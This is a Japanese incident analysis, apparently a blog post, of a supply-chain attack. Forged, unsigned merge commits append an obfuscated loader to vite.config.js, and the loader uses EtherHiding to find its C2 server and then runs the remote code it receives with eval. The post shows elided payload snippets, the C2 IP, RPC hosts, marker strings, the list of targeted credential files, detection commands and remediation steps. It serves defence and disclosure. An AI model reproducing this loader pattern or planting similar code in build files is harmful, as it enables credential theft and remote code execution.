セキュリティ

git pull と npm run build だけで感染する — 偽装マージコミットでビルド設定に仕込まれたマルウェア

git pull して npm run build した。それだけです。不審なファイルは開いていませんし、新しいパッケージも入れていません。

それでも、ビルドを実行した瞬間にマルウェアが起動し、外部サーバーと接続を確立します。

この記事は、正規のマージコミットを偽装して vite.config.js にペイロードを仕込む攻撃について、実際の調査で得られた内容を一般化してまとめたものです。検知コマンドと対応手順まで、そのまま使える形で記載します。

この手口は単発のものではありません。npm・Vite エコシステムを狙った一連のキャンペーンとして、複数のセキュリティベンダーが報告しています(ChainVeil、ViteVenom、PolinRider などの名前で観測)。GitHub のコミュニティでも、force-push で設定ファイルを書き換えられたという同種の相談が上がっています。

何が起きるか

流れはこうです。

  1. あるメンバーの端末がマルウェアに感染する
  2. マルウェアがその端末から Git ホスティングの認証情報を窃取する
  3. その認証情報で、アクセス可能なリポジトリの全ブランチに汚染コミットを強制プッシュする
  4. 汚染されるのは ビルド設定ファイル1つだけ。末尾に難読化コードが追記される
  5. 他のメンバーが git pull で汚染版を取得する
  6. npm run build を実行した瞬間にペイロードが起動する
  7. 起動したプロセスが外部 C2 と常時通信し、任意のコードを受信して実行できる状態になる

ポイントは4です。汚染されるのは1ファイルだけで、しかもプロジェクトに必ずある設定ファイルです。node_modulespackage.json も触られません。依存関係の監査ツールでは引っかかりません。

攻撃の速度

観測された事例では、正規のPRマージから 14分後に同じ内容を模した汚染コミットが develop を上書きし、そこから約1分で十数ブランチが連続して書き換えられていました。最短2秒間隔です。

手作業ではありません。認証情報を得たらスクリプトが即座に走る設計です。

そして、本番・ステージング向けのブランチも対象に含まれます。CI/CD が動いていれば、そのままデプロイまで到達します。

手口の詳細

第1段:ビルド設定ファイルへの寄生

vite.config.js末尾に、大量の空白を挟んでコードが追記されます。

export default defineConfig({
    // ...正常な設定...
});                     ここから数百文字の空白      global.o='8-14648';var _$_35f2=(function(g,p){...

なぜ気づかないのか。理由は3つあります。

ファイルの冒頭ではなく末尾です。差分を見ても }); の行が変更されたようにしか見えません。

大量の空白で押し出されているため、エディタで横スクロールしないと見えません。

そして追加は実質2行です。git diff --stat の表示はこうなります。

1 file changed, 2 insertions(+), 3 deletions(-)

これを見て中身まで確認する人は、まずいません。

ESM ファイルには、require を使えるようにする細工も冒頭に入ります。

import { createRequire } from 'node:module';
const require = createRequire(import.meta.url);

難読化は2重です。文字入れ替えで文字列テーブルを復元し、さらに辞書展開でコード本体を生成してから Function コンストラクタで実行します。静的検索でキーワードが引っかからないようにするためです。

第2段:ブロックチェーンを C2 の隠し場所にする

第2段の役割は「C2 サーバーのアドレスを取得すること」だけです。そのアドレスを、パブリックなブロックチェーン上から読み取ります

1. Ethereum の公開 RPC に JSON-RPC で接続
2. eth_blockNumber で最新ブロックを取得
3. eth_getBlockByNumber でブロックを遡って走査
4. 送信元アドレスが特定の文字列を含むトランザクションを探す
5. そのトランザクションの宛先(to)から C2 のアドレスを組み立てる
6. http://<C2>/boot を取得し、child_process.spawn('node', ['-e', ...]) で起動

RPC は3つ用意され、順に試行します。1つ落ちても動く冗長構成です。

この手法が厄介な理由は3つあります。

サーバーを差し押さえても無意味です。攻撃者はブロックチェーンに新しい宛先を書くだけで復活します。

通信先ドメインでのブロックが困難です。接続先が公開RPCサービスという正規のインフラだからです。業務でブロックチェーンを扱っていなくても、publicnode.com への通信だけを見て悪性と断定はできません。

ブロックチェーンは削除できません。設計上、消えないことが価値のシステムを、消えない指令書として使っています。

この手法は EtherHiding と呼ばれます。報告されている亜種では、Ethereum のほかに TRON・Aptos・BNB Smart Chain も使われています。

第3段:リモートから任意コードを受信して実行

常駐するプロセスの中身は、要約するとこうです。

_H = 'http://<C2>:443'
if (process.argv.includes('-skipwarn')) return   // 起動オプションで自身を無効化できる
if (_t_h) return                                  // 二重起動の防止
_I = await getHttpJson(_H + '/init')
eval(_I._B)                                       // ← 受信したコードをその場で実行

ここが最も重要です。

eval で外部から受け取ったコードを実行するため、実際の挙動は攻撃者が送った内容次第です。require がグローバルに露出済みなので、ファイル読み書きも外部送信も追加の常駐も、何でもできます。

そして eval はディスクに何も残しません。「何を盗まれたか」を後から特定することが、原理的にできません。

侵入経路:正規コミットの偽装

最も巧妙なのが、リポジトリへの入り方です。

同じ「Merge pull request #NN」というコミットが2つ存在していました。

正規 偽装
Author 本人 (+0900) 本人 (+0900) ← 同一
Author 日時 同一 同一
親コミット 同一 同一
コミットメッセージ 同一 同一
Committer GitHub <noreply@github.com> 本人 (+0100)
電子署名 あり(PGP署名) なし
vite.config.js 963 バイト 9510 バイト

正規のコミットを丸ごとコピーし、ビルド設定にペイロードを注入して作り直したものを、force-push で上書きしています。

GitHub の画面上では、いつものマージが1件あるようにしか見えません。

見分け方1:Committer が GitHub かどうか

GitHub の画面で「Merge pull request」を押した場合、コミットを実際に作るのは GitHub のサーバーです。したがって正規のマージは必ずこの形になります。

author    あなた <you@example.com>
committer GitHub <noreply@github.com>     ← ここ
gpgsig    -----BEGIN PGP SIGNATURE-----   ← 署名あり

Committer が個人名になっているマージコミットは、GitHub 上のマージではありません。

見分け方2:電子署名の有無

コミットの Author / Committer はただの文字列です。誰でも自由に名乗れます。パスワードもチェックもありません。手元で git config user.name を書き換えれば、誰の名前でもコミットできます。

偽造できないのは署名だけです。

git log --format='%h %G? %cn <%ce> %s' -20

%G?G(有効な署名)か N(署名なし)かを確認します。

見分け方3:タイムゾーン

観測された事例では、偽装コミットが +0100(ヨーロッパ)でした。日本の端末では絶対に生成されない値です。

git log --format='%h %ad %cd %s' --date=iso -20

名前を使われた人は無関係です

偽装コミットには、被害を受けていない別のメンバーの名前が入っていました。GitHub 上で「いつものマージ」に見せかけるための偽装です。

コミットの名前欄と、実際にプッシュした認証情報は別物です。後者は偽装できず、GitHub のイベントログに残ります。

gh api "repos/OWNER/REPO/events?per_page=100" \
  --jq '.[] | select(.type=="PushEvent") | "\(.created_at) \(.actor.login) \(.payload.ref)"'

犯人捜しを始める前に、これを見てください。名前を使われた人を問い詰めても何も進みません。

影響範囲

ペイロードはユーザー権限でそのまま動作します。コンテナの中でもサンドボックスの中でもありません。つまり、そのユーザーが読めるものはすべて読める状態です。

分類 対象
SSH ~/.ssh 配下の秘密鍵すべて
Git ホスティング ~/.config/gh~/.git-credentials
クラウド ~/.aws~/.azure~/.kube~/.docker/config.json
アプリ設定 各プロジェクトの .env(DB接続情報・APIキー等)
ブラウザ 保存済みパスワード、セッションCookie
パッケージ ~/.npmrc(npm トークン)

プロジェクト単位で被害が限定されることはありません。端末全体が対象です。

複数の案件を1台で回している場合、関係のない案件の鍵まで巻き込まれます

「痕跡がない」は「無事」ではありません

調査では、以下が見つかりませんでした

  • 退避用アーカイブらしきファイル
  • ファイルによる永続化(LaunchAgents / cron / シェル設定の改変)
  • node_modules・npm キャッシュ・グローバルパッケージの汚染

しかしこれは盗まれていない証拠になりません。理由は3つあります。

第3段は eval なので、実行内容がディスクに残りません

atime(最終アクセス時刻)が更新されない設定でした。macOS では既定でそうなっている環境が珍しくありません。「鍵の atime が古いから読まれていない」という判断は成立しません

そして macOS は外向き通信を標準では記録しません

漏洩した前提で対応する以外に選択肢がありません。

検知コマンド

端末側

動いているプロセスを探す

ps aux | grep "global\.i=" | grep -v grep

node -e global.i='...' という形のプロセスがあれば感染しています。

C2 との通信を確認する

lsof -nP -i | grep -E "181\.214\.149\.148"

汚染ファイルを探す

grep -rl '_\$jsoToArr' ~ --exclude-dir=Library 2>/dev/null | head -20

npm キャッシュを確認する

grep -rl '_\$jsoToArr' ~/.npm/_cacache 2>/dev/null | head

グローバルパッケージを確認する

grep -rl '_\$jsoToArr' "$(npm root -g)" 2>/dev/null | head

リポジトリ側

設定ファイルの異常なサイズを探す

正常な vite.config.js は 1KB 程度です。

find . -name "*.config.*" -not -path "*/node_modules/*" -size +5k -exec ls -la {} \;

署名のないマージコミットを探す

git log --format='%h %G? %cn <%ce> %s' -30 | grep -v "GitHub <noreply@github.com>"

全ブランチを一括で確認する

for b in $(git branch -r --format='%(refname:short)' | grep -v HEAD); do
  git ls-tree -r --name-only "$b" \
    | grep -E '\.(js|ts|mjs|cjs)$' \
    | grep -iE 'config|vite|webpack|rollup|next' \
    | while read f; do
        n=$(git show "$b:$f" 2>/dev/null | grep -c '_\$jsoToArr')
        [ "$n" != "0" ] && echo "汚染: $b:$f"
      done
done

発生した場合の対応

優先度1:即時(数分以内)

該当端末をネットワークから切断します。

プロセスを停止します。

kill -9 $(pgrep -f "global\.i=")

窃取された認証情報を持つアカウントを一時停止します。リポジトリを掃除しても、認証情報が生きている限り再度上書きされます。順番を間違えないでください。

優先度2:当日中

全ブランチを正規コミットへ戻します(force-push で復旧)。

認証情報をすべて失効・再発行します。

  • SSH 秘密鍵 — 公開鍵をサーバー側の authorized_keys から削除するまでが1セットです
  • Personal Access Token・OAuth 連携・Deploy Key
  • AWS / Azure / GCP のアクセスキー
  • npm トークン
  • .env に書かれた DB 接続情報・外部 API キー
  • ブラウザ保存のパスワードとセッション

CI/CD の実行履歴を確認します。本番・ステージングブランチが書き換えられている場合、デプロイまで到達していないかを見ます。

優先度3:追跡調査

組織監査ログで、どの認証情報がプッシュしたかを特定します。Organization の Owner 権限が必要です。

初期感染源を特定します。最初に感染した端末で、感染直前の npm install 対象パッケージを洗い出します。

端末の初期化を検討します。eval 型で痕跡が残らない以上、「何も仕込まれていない」ことを証明する手段がありません。

連絡

影響は自組織に閉じない可能性があります。端末に他社案件の SSH 鍵やトークンが置かれていた場合、その全案件の責任者への連絡が必要です。

言いにくい連絡ですが、黙っていて後から発覚するほうが、はるかに深刻な事態になります。

予防策

リポジトリ設定(最も効果的)

  • 主要ブランチへの force-push を禁止する(ブランチ保護)
  • 署名付きコミットを必須にする(Require signed commits)
  • PR マージ以外の直接プッシュを禁止する
  • Deploy Key は読み取り専用にする

force-push の禁止だけで、この攻撃は成立しません。設定を1つ入れるだけです。今日できます。

端末

SSH 秘密鍵にパスフレーズを設定します。パスフレーズなしの鍵は、コピーされた瞬間に使われます。

鍵は用途ごとに分け、不要になったものは削除します。.env を平文でプロジェクト直下に置かないようにします。

運用

git pull 後に forced-update が出たら、内容を確認します。通常のブランチで force-push は起きません。異常のサインです。

 + abc1234...def5678 develop -> origin/develop  (forced update)

この表示を見たら、git log で署名と Committer を確認してください。

ビルドを「信頼できないコードの実行」と捉えます。npm run build は任意コード実行です。設定ファイルもプラグインも、すべてビルド時に実行されます。

IoC(侵害指標)

同種の攻撃の検知にご利用ください。

文字列マーカー

_$jsoToArr
global.i='8-14648'
global.o='8-14648'
global.e='NPM'

C2

181.214.149.148:443
  エンドポイント: /init  /boot  /0/boot

ブロックチェーン C2(EtherHiding)

ethereum-rpc.publicnode.com
eth.drpc.org
eth-mainnet.public.blastapi.io

トランザクション探索マーカー: 33ff3edaf55a8e03dcbc7cb40d498a49
使用メソッド: eth_blockNumber / eth_getBlockByNumber

プロセスの特徴

node -e global.i='...';global.r=require;global.m=module;var _$_....
  - stdio は ignore(出力が一切見えない)
  - 親プロセス終了後も launchd / init 配下で生存する
  - 引数 -skipwarn で自身を無効化する分岐を持つ

汚染ファイルの特徴

- ビルド設定ファイル(vite.config.js 等)の末尾に追記
- 大量の空白で押し出され、横スクロールしないと見えない
- 正常時 1KB 程度のファイルが 9KB 程度に膨らむ
- ESM ファイルの冒頭に createRequire による require 復活コード

まとめ

git pullnpm run build だけで感染します。不審なファイルを開く必要も、怪しいパッケージを入れる必要もありません。ビルド設定ファイルは、ビルドのたびに実行されるコードです。

コミットの名前は信用できません。Author も Committer も自由に名乗れる文字列です。信頼できるのは署名と、プッシュ元の認証情報だけです。

名前を使われた人は加害者ではありません。責任追及より、端末の隔離と認証情報の失効を優先してください。

「痕跡がない」を安心材料にしないでください。eval 型は記録を残しません。漏洩した前提で動くのが、唯一の安全側の判断です。

そして最後にもう一度書きます。force-push の禁止が、最も効いた対策でした。ブランチ保護を1つ入れておけば、この攻撃は成立しませんでした。設定画面を開いて、チェックを1つ入れるだけです。

参考